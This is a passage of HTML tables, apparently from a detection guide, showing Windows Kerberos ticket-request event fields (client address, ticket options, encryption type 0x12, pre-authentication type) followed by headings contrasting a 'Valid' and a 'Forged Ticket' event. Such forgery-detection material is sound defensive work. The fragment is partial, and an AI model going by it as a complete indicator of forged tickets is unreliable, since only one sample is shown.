<td>Client Address:</td>
<td>::ffff:172.16.11.202</td>
</tr>
<tr>
<td>Client Port:</td>
<td>49175</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Additional Information:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Ticket Options:</td>
<td>0x40810010</td>
</tr>
<tr>
<td>Result Code:</td>
<td>0x0</td>
</tr>
<tr>
<td>Ticket Encryption Type:</td>
<td>0x12</td>
</tr>
<tr>
<td>Pre-Authentication Type:</td>
<td>2</td>
</tr>
</tbody>
</table>

**Valid**

**Forged Ticket**